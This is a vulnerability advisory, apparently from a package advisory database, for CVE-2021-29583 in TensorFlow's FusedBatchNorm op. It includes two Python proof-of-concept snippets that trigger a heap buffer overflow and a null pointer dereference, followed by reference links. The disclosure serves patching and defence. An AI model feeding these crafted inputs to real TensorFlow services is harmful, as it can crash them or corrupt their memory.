CVE-2021-29583: Heap buffer overflow and undefined behavior in `FusedBatchNorm`
(updated )
The implementation of tf.raw_ops.FusedBatchNorm
is vulnerable to a heap buffer overflow:
import tensorflow as tf
x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:
import tensorflow as tf
import numpy as np
x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
References
- github.com/advisories/GHSA-9xh4-23q4-v6wr
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-511.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-709.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-220.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0
- github.com/tensorflow/tensorflow/security/advisories/GHSA-9xh4-23q4-v6wr
- nvd.nist.gov/vuln/detail/CVE-2021-29583
Detect and mitigate CVE-2021-29583 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →